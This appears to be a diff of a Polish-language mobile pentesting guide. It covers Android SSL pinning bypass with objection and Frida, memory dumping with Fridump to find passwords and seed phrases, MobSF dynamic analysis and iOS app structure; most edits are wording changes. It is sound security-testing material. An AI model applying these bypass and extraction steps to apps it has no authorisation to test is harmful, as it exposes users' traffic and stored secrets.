SSL Pinning to środek bezpieczeństwa, w którym aplikacja weryfikuje certyfikat serwera w porównaniu do znanej kopii przechowywanej w samej aplikacji. Ta metoda jest niezbędna do zapobiegania atakom MITM. Wdrożenie SSL Pinning jest zdecydowanie zalecane dla aplikacji obsługujących wrażliwe informacje.
|
||||
SSL Pinning to środek bezpieczeństwa, w którym aplikacja weryfikuje certyfikat serwera w porównaniu do znanej kopii przechowywanej w samej aplikacji. Metoda ta jest niezbędna do zapobiegania atakom MITM. Wdrożenie SSL Pinning jest zdecydowanie zalecane dla aplikacji obsługujących wrażliwe informacje.
|
||||
|
||||
#### Inspekcja ruchu
|
||||
|
||||
@ -416,14 +422,14 @@ Jeśli używasz **Flutter**, musisz postępować zgodnie z instrukcjami na [**te
|
||||
Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainspirować ruch HTTPS. Istnieje kilka metod w tym celu:
|
||||
|
||||
- Automatycznie **zmodyfikuj** **apk**, aby **obejść** SSLPinning za pomocą [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Największą zaletą tej opcji jest to, że nie będziesz potrzebować roota, aby obejść SSL Pinning, ale będziesz musiał usunąć aplikację i zainstalować nową, co nie zawsze działa.
|
||||
- Możesz użyć **Frida** (omówione poniżej), aby obejść tę ochronę. Oto przewodnik, jak używać Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Możesz użyć **Frida** (omówionej poniżej), aby obejść tę ochronę. Oto przewodnik, jak używać Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Możesz także spróbować **automatycznie obejść SSL Pinning** za pomocą [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Możesz również spróbować **automatycznie obejść SSL Pinning** za pomocą **analizy dynamicznej MobSF** (wyjaśnionej poniżej)
|
||||
- Możesz także spróbować **automatycznie obejść SSL Pinning** za pomocą **analizy dynamicznej MobSF** (wyjaśnionej poniżej)
|
||||
- Jeśli nadal uważasz, że istnieje jakiś ruch, którego nie przechwytujesz, możesz spróbować **przekierować ruch do burp za pomocą iptables**. Przeczytaj ten blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Szukanie powszechnych podatności w sieci
|
||||
|
||||
Ważne jest również, aby szukać powszechnych podatności w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione w innych miejscach.
|
||||
Ważne jest również, aby szukać powszechnych podatności w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione gdzie indziej.
|
||||
|
||||
### Frida
|
||||
|
||||
@ -433,13 +439,13 @@ Jeśli chcesz przeprowadzić pentesting aplikacji Android, musisz wiedzieć, jak
|
||||
|
||||
- Naucz się, jak używać Frida: [**Samouczek Frida**](frida-tutorial/index.html)
|
||||
- Nieco "GUI" do działań z Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection jest świetny do automatyzacji użycia Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Ojection jest świetne do automatyzacji użycia Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Możesz znaleźć kilka niesamowitych skryptów Frida tutaj: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Spróbuj obejść mechanizmy anty-debugging / anty-frida, ładując Frida, jak wskazano w [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (narzędzie [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Zrzut pamięci - Fridump**
|
||||
|
||||
Sprawdź, czy aplikacja przechowuje wrażliwe informacje w pamięci, które nie powinny być przechowywane, takie jak hasła lub mnemoniki.
|
||||
Sprawdź, czy aplikacja przechowuje wrażliwe informacje w pamięci, których nie powinna przechowywać, takie jak hasła lub mnemoniki.
|
||||
|
||||
Używając [**Fridump3**](https://github.com/rootbsd/fridump3), możesz zrzucić pamięć aplikacji za pomocą:
|
||||
```bash
|
||||
@ -456,7 +462,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Wrażliwe dane w Keystore**
|
||||
|
||||
W Androidzie Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzić jako użytkownik root lub ktoś z fizycznym dostępem do urządzenia mógłby być w stanie ukraść te dane.
|
||||
W systemie Android Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzać, ponieważ użytkownik root lub osoba z fizycznym dostępem do urządzenia mogłaby być w stanie ukraść te dane.
|
||||
|
||||
Nawet jeśli aplikacja przechowuje dane w keystore, dane powinny być zaszyfrowane.
|
||||
|
||||
@ -478,7 +484,7 @@ Jednakże, jeśli ten zrzut ekranu zawiera **wrażliwe informacje**, ktoś z dos
|
||||
|
||||
Zrzuty ekranu są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu poprzez ustawienie parametru układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych ekranach.
|
||||
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych ekranach.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -490,24 +496,24 @@ To narzędzie może pomóc w zarządzaniu różnymi narzędziami podczas analizy
|
||||
|
||||
Programiści często tworzą komponenty proxy, takie jak aktywności, usługi i odbiorniki rozgłoszeniowe, które obsługują te Intencje i przekazują je do metod takich jak `startActivity(...)` lub `sendBroadcast(...)`, co może być ryzykowne.
|
||||
|
||||
Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportowanych komponentów aplikacji lub dostępu do wrażliwych dostawców treści poprzez błędne kierowanie tych Intencji. Znaczącym przykładem jest komponent `WebView`, który konwertuje adresy URL na obiekty `Intent` za pomocą `Intent.parseUri(...)`, a następnie je wykonuje, co może prowadzić do złośliwych wstrzyknięć Intencji.
|
||||
Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportowanych komponentów aplikacji lub uzyskiwania dostępu do wrażliwych dostawców treści poprzez błędne kierowanie tych Intencji. Znaczącym przykładem jest komponent `WebView`, który konwertuje adresy URL na obiekty `Intent` za pomocą `Intent.parseUri(...)`, a następnie je wykonuje, co może prowadzić do złośliwych wstrzyknięć Intencji.
|
||||
|
||||
### Kluczowe Wnioski
|
||||
|
||||
- **Wstrzykiwanie Intencji** jest podobne do problemu Open Redirect w sieci.
|
||||
- Eksploity polegają na przekazywaniu obiektów `Intent` jako dodatkowych, które mogą być przekierowywane do wykonywania niebezpiecznych operacji.
|
||||
- Może to ujawniać nieeksportowane komponenty i dostawców treści atakującym.
|
||||
- Konwersja URL na `Intent` w `WebView` może ułatwiać niezamierzone działania.
|
||||
- Konwersja URL w `WebView` na `Intent` może ułatwić niezamierzone działania.
|
||||
|
||||
### Wstrzyknięcia po stronie klienta Androida i inne
|
||||
### Wstrzyknięcia po stronie klienta Android i inne
|
||||
|
||||
Prawdopodobnie znasz ten rodzaj podatności z sieci. Musisz być szczególnie ostrożny z tymi podatnościami w aplikacji Android:
|
||||
Prawdopodobnie znasz ten rodzaj luk z sieci. Musisz być szczególnie ostrożny z tymi lukami w aplikacji Android:
|
||||
|
||||
- **SQL Injection:** Przy obsłudze dynamicznych zapytań lub dostawców treści upewnij się, że używasz zapytań parametryzowanych.
|
||||
- **Wstrzykiwanie JavaScript (XSS):** Sprawdź, czy obsługa JavaScript i wtyczek jest wyłączona dla wszelkich WebViews (domyślnie wyłączona). [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
|
||||
- **Inkluzja lokalnych plików:** WebViews powinny mieć wyłączony dostęp do systemu plików (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
|
||||
- **Wieczne ciasteczka**: W wielu przypadkach, gdy aplikacja androidowa kończy sesję, ciastko nie jest unieważniane lub może być nawet zapisywane na dysku.
|
||||
- [**Bezpieczna flaga** w ciastkach](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
- **Eternal cookies**: W kilku przypadkach, gdy aplikacja android kończy sesję, ciasteczko nie jest unieważniane lub może być nawet zapisywane na dysku.
|
||||
- [**Secure Flag** w ciasteczkach](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
@ -519,13 +525,13 @@ Prawdopodobnie znasz ten rodzaj podatności z sieci. Musisz być szczególnie os
|
||||
|
||||
.png>)
|
||||
|
||||
**Ocena podatności aplikacji** przy użyciu ładnego interfejsu internetowego. Możesz również przeprowadzić analizę dynamiczną (ale musisz przygotować środowisko).
|
||||
**Ocena podatności aplikacji** za pomocą ładnego interfejsu internetowego. Możesz również przeprowadzić analizę dynamiczną (ale musisz przygotować środowisko).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Zauważ, że MobSF może analizować **Android**(apk)**, IOS**(ipa) **i Windows**(apx) aplikacje (_Aplikacje Windows muszą być analizowane z MobSF zainstalowanym na hoście Windows_).\
|
||||
Ponadto, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do folderu głównego aplikacji, wybierz wszystko i stwórz plik ZIP), będzie w stanie również go przeanalizować.
|
||||
Ponadto, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do folderu głównego aplikacji, wybierz wszystko i stwórz plik ZIP), będzie mógł go również analizować.
|
||||
|
||||
MobSF pozwala również na **diff/Compare** analizy oraz na integrację z **VirusTotal** (będziesz musiał ustawić swój klucz API w _MobSF/settings.py_ i włączyć go: `VT_ENABLED = TRUE` `VT_API_KEY = <Twój klucz API>` `VT_UPLOAD = TRUE`). Możesz również ustawić `VT_UPLOAD` na `False`, wtedy **hash** zostanie **przesłany** zamiast pliku.
|
||||
|
||||
@ -536,13 +542,13 @@ MobSF pozwala również na **diff/Compare** analizy oraz na integrację z **Viru
|
||||
|
||||
- **Zrzucić dane aplikacji** (URL-e, logi, schowek, zrzuty ekranu wykonane przez Ciebie, zrzuty ekranu wykonane przez "**Exported Activity Tester**", e-maile, bazy danych SQLite, pliki XML i inne utworzone pliki). Wszystko to odbywa się automatycznie, z wyjątkiem zrzutów ekranu, musisz nacisnąć, gdy chcesz zrzut ekranu lub musisz nacisnąć "**Exported Activity Tester**", aby uzyskać zrzuty ekranu wszystkich eksportowanych aktywności.
|
||||
- Przechwytywać **ruch HTTPS**
|
||||
- Używać **Frida** do uzyskania **informacji w czasie rzeczywistym**
|
||||
- Używać **Frida** do uzyskiwania **informacji w czasie rzeczywistym**
|
||||
|
||||
Od wersji Android **> 5**, automatycznie **uruchomi Frida** i ustawi globalne ustawienia **proxy** do **przechwytywania** ruchu. Będzie przechwytywać ruch tylko z testowanej aplikacji.
|
||||
|
||||
**Frida**
|
||||
|
||||
Domyślnie użyje również niektórych skryptów Frida do **obejścia SSL pinning**, **wykrywania root** i **wykrywania debuggera** oraz do **monitorowania interesujących API**.\
|
||||
Domyślnie będzie również używać niektórych skryptów Frida do **obejścia SSL pinning**, **wykrywania root** i **wykrywania debuggera** oraz do **monitorowania interesujących API**.\
|
||||
MobSF może również **wywoływać eksportowane aktywności**, robić **zrzuty ekranu** z nich i **zapisywać** je do raportu.
|
||||
|
||||
Aby **rozpocząć** testowanie dynamiczne, naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida i "**Live API Monitor**", aby zobaczyć wszystkie wywołania do podłączonych metod, przekazywane argumenty i zwracane wartości (to pojawi się po naciśnięciu "Start Instrumentation").\
|
||||
@ -559,11 +565,11 @@ Ponadto masz kilka dodatkowych funkcji Frida:
|
||||
- **Search Class Pattern**: Wyszukaj klasy według wzoru
|
||||
- **Trace Class Methods**: **Śledź** **całą klasę** (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF śledzi kilka interesujących metod API Androida.
|
||||
|
||||
Gdy wybierzesz moduł pomocniczy, który chcesz użyć, musisz nacisnąć "**Start Instrumentation**" i zobaczysz wszystkie wyniki w "**Frida Live Logs**".
|
||||
Gdy wybierzesz dodatkowy moduł, który chcesz użyć, musisz nacisnąć "**Start Instrumentation**" i zobaczysz wszystkie wyniki w "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
Mobsf oferuje również powłokę z niektórymi poleceniami **adb**, **komendami MobSF** i powszechnymi **komendami powłoki** na dole strony analizy dynamicznej. Niektóre interesujące polecenia:
|
||||
Mobsf oferuje również powłokę z niektórymi poleceniami **adb**, **poleceniami MobSF** i powszechnymi **poleceniami** **powłoki** na dole strony analizy dynamicznej. Niektóre interesujące polecenia:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -621,7 +627,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
|
||||
SUPER to aplikacja działająca w wierszu poleceń, która może być używana w systemach Windows, MacOS X i Linux, analizująca pliki _.apk_ w poszukiwaniu luk. Robi to, dekompresując APK i stosując szereg reguł w celu wykrycia tych luk.
|
||||
|
||||
Wszystkie reguły są skoncentrowane w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują.
|
||||
Wszystkie reguły są zawarte w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują.
|
||||
|
||||
Pobierz najnowsze pliki binarne z [strony pobierania](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
@ -635,13 +641,13 @@ StaCoAn to **narzędzie wieloplatformowe**, które wspomaga programistów, łowc
|
||||
|
||||
Koncepcja polega na tym, że przeciągasz i upuszczasz plik swojej aplikacji mobilnej (plik .apk lub .ipa) na aplikację StaCoAn, a ona wygeneruje wizualny i przenośny raport dla Ciebie. Możesz dostosować ustawienia i listy słów, aby uzyskać spersonalizowane doświadczenie.
|
||||
|
||||
Pobierz [najnowszą wersję](https://github.com/vincentcox/StaCoAn/releases):
|
||||
Pobierz [najowszą wersję](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
AndroBugs Framework to system analizy podatności Android, który pomaga deweloperom lub hakerom znaleźć potencjalne luki w zabezpieczeniach aplikacji na Androida.\
|
||||
AndroBugs Framework to system analizy podatności Android, który pomaga deweloperom lub hakerom znaleźć potencjalne luki w zabezpieczeniach aplikacji Android.\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -651,7 +657,7 @@ androbugs.exe -f [APK file]
|
||||
|
||||
**Androwarn** to narzędzie, którego głównym celem jest wykrywanie i ostrzeganie użytkownika o potencjalnych złośliwych zachowaniach rozwijanych przez aplikację na Androida.
|
||||
|
||||
Wykrywanie odbywa się za pomocą **analizy statycznej** bajtkodu Dalvik aplikacji, reprezentowanego jako **Smali**, z wykorzystaniem biblioteki [`androguard`](https://github.com/androguard/androguard).
|
||||
Wykrywanie odbywa się za pomocą **analizy statycznej** bajtowego kodu Dalvik aplikacji, reprezentowanego jako **Smali**, z wykorzystaniem biblioteki [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
To narzędzie szuka **typowych zachowań "złych" aplikacji**, takich jak: eksfiltracja identyfikatorów telekomunikacyjnych, przechwytywanie strumieni audio/wideo, modyfikacja danych PIM, wykonanie dowolnego kodu...
|
||||
```
|
||||
@ -661,7 +667,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** to **M**obile **A**pplication **R**everse engineering i **A**nalysis Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa.
|
||||
**MARA** to **M**obile **A**pplication **R**everse engineering i **A**nalysis Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla programistów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa.
|
||||
|
||||
Może:
|
||||
|
||||
@ -682,15 +688,15 @@ Zauważ, że w zależności od usługi i konfiguracji, której używasz do obfus
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
Z [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** to narzędzie wiersza poleceń typu open source, które zmniejsza, optymalizuje i obfuskowało kod Java. Potrafi optymalizować bajty kodu oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2.
|
||||
Z [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** to narzędzie wiersza poleceń typu open source, które zmniejsza, optymalizuje i obfuskowało kod Java. Potrafi optymalizować kod bajtowy oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2.
|
||||
|
||||
ProGuard jest dystrybuowane jako część Android SDK i działa podczas budowania aplikacji w trybie wydania.
|
||||
ProGuard jest dystrybuowane jako część Android SDK i działa podczas budowania aplikacji w trybie release.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Znajdź przewodnik krok po kroku, jak deobfuskować apk w [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(Z tego przewodnika) Ostatni raz, gdy sprawdzaliśmy, tryb działania Dexguard był:
|
||||
(Z tego przewodnika) Ostatnim razem, gdy sprawdzaliśmy, tryb działania Dexguard był:
|
||||
|
||||
- załaduj zasób jako InputStream;
|
||||
- przekaż wynik do klasy dziedziczącej z FilterInputStream, aby go odszyfrować;
|
||||
@ -718,13 +724,13 @@ APKiD dostarcza informacji o **tym, jak stworzono APK**. Identyfikuje wiele **ko
|
||||
|
||||
### Manual
|
||||
|
||||
[Przeczytaj ten poradnik, aby poznać kilka sztuczek na **jak odwrócić niestandardową obfuskację**](manual-deobfuscation.md)
|
||||
[Przeczytaj ten samouczek, aby poznać kilka sztuczek dotyczących **jak odwrócić niestandardową obfuskację**](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, która zawiera zbiór najnowszych frameworków, tutoriali i laboratoriów od różnych geeków i badaczy bezpieczeństwa do inżynierii wstecznej i analizy złośliwego oprogramowania.
|
||||
AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, która zawiera zbiór najnowszych frameworków, samouczków i laboratoriów od różnych geeków i badaczy bezpieczeństwa do inżynierii wstecznej i analizy złośliwego oprogramowania.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -44,19 +44,19 @@ Identyfikacja **ochron obecnych w binarnym**:
|
||||
- **PIE (Position Independent Executable)**: Gdy jest włączone, aplikacja ładowana jest do losowego adresu pamięci za każdym razem, gdy jest uruchamiana, co utrudnia przewidywanie jej początkowego adresu pamięci.
|
||||
|
||||
```bash
|
||||
otool -hv <app-binary> | grep PIE # Powinien zawierać flagę PIE
|
||||
otool -hv <app-binary> | grep PIE # Powinno zawierać flagę PIE
|
||||
```
|
||||
|
||||
- **Stack Canaries**: Aby zweryfikować integralność stosu, wartość „canary” jest umieszczana na stosie przed wywołaniem funkcji i jest weryfikowana ponownie po zakończeniu funkcji.
|
||||
- **Stack Canaries**: Aby zweryfikować integralność stosu, wartość 'canary' jest umieszczana na stosie przed wywołaniem funkcji i jest weryfikowana ponownie po zakończeniu funkcji.
|
||||
|
||||
```bash
|
||||
otool -I -v <app-binary> | grep stack_chk # Powinien zawierać symbole: stack_chk_guard i stack_chk_fail
|
||||
otool -I -v <app-binary> | grep stack_chk # Powinno zawierać symbole: stack_chk_guard i stack_chk_fail
|
||||
```
|
||||
|
||||
- **ARC (Automatic Reference Counting)**: Aby zapobiec powszechnym błędom związanym z uszkodzeniem pamięci
|
||||
|
||||
```bash
|
||||
otool -I -v <app-binary> | grep objc_release # Powinien zawierać symbol _objc_release
|
||||
otool -I -v <app-binary> | grep objc_release # Powinno zawierać symbol _objc_release
|
||||
```
|
||||
|
||||
- **Encrypted Binary**: Binarna powinna być zaszyfrowana
|
||||
@ -162,13 +162,13 @@ ios-hooking-with-objection.md
|
||||
|
||||
### Struktura IPA
|
||||
|
||||
Struktura **pliku IPA** jest zasadniczo taka sama jak **spakowanego pakietu**. Zmieniając jego rozszerzenie na `.zip`, można go **rozpakować**, aby ujawnić jego zawartość. W tej strukturze, **Bundle** reprezentuje w pełni zapakowaną aplikację gotową do instalacji. Wewnątrz znajdziesz katalog o nazwie `<NAME>.app`, który zawiera zasoby aplikacji.
|
||||
Struktura **pliku IPA** jest zasadniczo taka sama jak **spakowany pakiet**. Zmieniając jego rozszerzenie na `.zip`, można go **rozpakować**, aby ujawnić jego zawartość. W tej strukturze, **Bundle** reprezentuje w pełni zapakowaną aplikację gotową do instalacji. Wewnątrz znajdziesz katalog o nazwie `<NAME>.app`, który zawiera zasoby aplikacji.
|
||||
|
||||
- **`Info.plist`**: Ten plik zawiera szczegółowe informacje konfiguracyjne aplikacji.
|
||||
- **`_CodeSignature/`**: Ten katalog zawiera plik plist, który zawiera podpis, zapewniając integralność wszystkich plików w pakiecie.
|
||||
- **`Assets.car`**: Skompresowany archiwum, które przechowuje pliki zasobów, takie jak ikony.
|
||||
- **`Frameworks/`**: Ten folder zawiera natywne biblioteki aplikacji, które mogą być w formie plików `.dylib` lub `.framework`.
|
||||
- **`PlugIns/`**: Może zawierać rozszerzenia aplikacji, znane jako pliki `.appex`, chociaż nie zawsze są obecne. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Jest używane do zapisywania trwałych danych aplikacji do użytku offline, do buforowania danych tymczasowych oraz do dodawania funkcji cofania do aplikacji na jednym urządzeniu. Aby synchronizować dane między wieloma urządzeniami w jednym koncie iCloud, Core Data automatycznie odzwierciedla schemat w kontenerze CloudKit.
|
||||
- **`PlugIns/`**: Może zawierać rozszerzenia aplikacji, znane jako pliki `.appex`, chociaż nie zawsze są obecne. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Jest używane do zapisywania trwałych danych aplikacji do użytku offline, do buforowania danych tymczasowych oraz do dodawania funkcji cofania w aplikacji na jednym urządzeniu. Aby synchronizować dane między wieloma urządzeniami w jednym koncie iCloud, Core Data automatycznie odzwierciedla schemat w kontenerze CloudKit.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Plik `PkgInfo` jest alternatywnym sposobem określenia typu i kodów twórcy aplikacji lub pakietu.
|
||||
- **en.lproj, fr.proj, Base.lproj**: To pakiety językowe, które zawierają zasoby dla tych konkretnych języków oraz domyślny zasób na wypadek, gdy dany język nie jest obsługiwany.
|
||||
- **Bezpieczeństwo**: Katalog `_CodeSignature/` odgrywa kluczową rolę w bezpieczeństwie aplikacji, weryfikując integralność wszystkich plików w pakiecie za pomocą podpisów cyfrowych.
|
||||
@ -178,7 +178,7 @@ Struktura **pliku IPA** jest zasadniczo taka sama jak **spakowanego pakietu**. Z
|
||||
|
||||
**Info.plist**
|
||||
|
||||
**Info.plist** jest fundamentem aplikacji iOS, zawierającym kluczowe dane konfiguracyjne w formie par **klucz-wartość**. Ten plik jest wymagany nie tylko dla aplikacji, ale także dla rozszerzeń aplikacji i frameworków w pakiecie. Jest zorganizowany w formacie XML lub binarnym i zawiera krytyczne informacje, od uprawnień aplikacji po konfiguracje bezpieczeństwa. Aby szczegółowo zbadać dostępne klucze, można odwołać się do [**Dokumentacji Dewelopera Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
**Info.plist** jest fundamentem aplikacji iOS, zawierającym kluczowe dane konfiguracyjne w formie par **klucz-wartość**. Ten plik jest wymagany nie tylko dla aplikacji, ale także dla rozszerzeń aplikacji i frameworków w pakiecie. Jest zbudowany w formacie XML lub binarnym i zawiera krytyczne informacje, od uprawnień aplikacji po konfiguracje bezpieczeństwa. Aby szczegółowo zbadać dostępne klucze, można odwołać się do [**Dokumentacji Dewelopera Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
|
||||
Dla tych, którzy chcą pracować z tym plikiem w bardziej dostępnym formacie, konwersję XML można łatwo osiągnąć za pomocą `plutil` na macOS (dostępne natywnie w wersjach 10.2 i nowszych) lub `plistutil` na Linuxie. Komendy do konwersji są następujące:
|
||||
|
||||
@ -191,7 +191,7 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
Wśród niezliczonych informacji, które plik **Info.plist** może ujawnić, istotne wpisy to ciągi uprawnień aplikacji (`UsageDescription`), niestandardowe schematy URL (`CFBundleURLTypes`) oraz konfiguracje dla App Transport Security (`NSAppTransportSecurity`). Wpisy te, wraz z innymi, takimi jak eksportowane/importowane niestandardowe typy dokumentów (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), można łatwo zlokalizować, przeglądając plik lub używając prostego polecenia `grep`:
|
||||
Wśród niezliczonych informacji, które plik **Info.plist** może ujawnić, istotne wpisy obejmują ciągi uprawnień aplikacji (`UsageDescription`), niestandardowe schematy URL (`CFBundleURLTypes`) oraz konfiguracje dla App Transport Security (`NSAppTransportSecurity`). Wpisy te, wraz z innymi, takimi jak eksportowane/importowane niestandardowe typy dokumentów (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), można łatwo zlokalizować, przeglądając plik lub używając prostego polecenia `grep`:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
@ -215,7 +215,7 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
|
||||
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
|
||||
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
|
||||
```
|
||||
Alternatywnie, nazwę aplikacji można wyszukać w `/private/var/containers` za pomocą polecenia `find`:
|
||||
Alternatywnie, nazwa aplikacji może być wyszukiwana w `/private/var/containers` za pomocą polecenia `find`:
|
||||
```bash
|
||||
find /private/var/containers -name "Progname*"
|
||||
```
|
||||
@ -240,7 +240,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Zawartość tego katalogu **jest kopiowana**.
|
||||
- Aplikacja może wyłączyć ścieżki, ustawiając `NSURLIsExcludedFromBackupKey`.
|
||||
- **Library/**
|
||||
- Zawiera wszystkie **pliki, które nie są specyficzne dla użytkownika**, takie jak **cache**, **preferencje**, **ciasteczka** oraz pliki konfiguracyjne listy właściwości (plist).
|
||||
- Zawiera wszystkie **pliki, które nie są specyficzne dla użytkownika**, takie jak **cache**, **preferencje**, **ciasteczka** i pliki konfiguracyjne listy właściwości (plist).
|
||||
- Aplikacje iOS zazwyczaj używają podkatalogów `Application Support` i `Caches`, ale aplikacja może tworzyć własne podkatalogi.
|
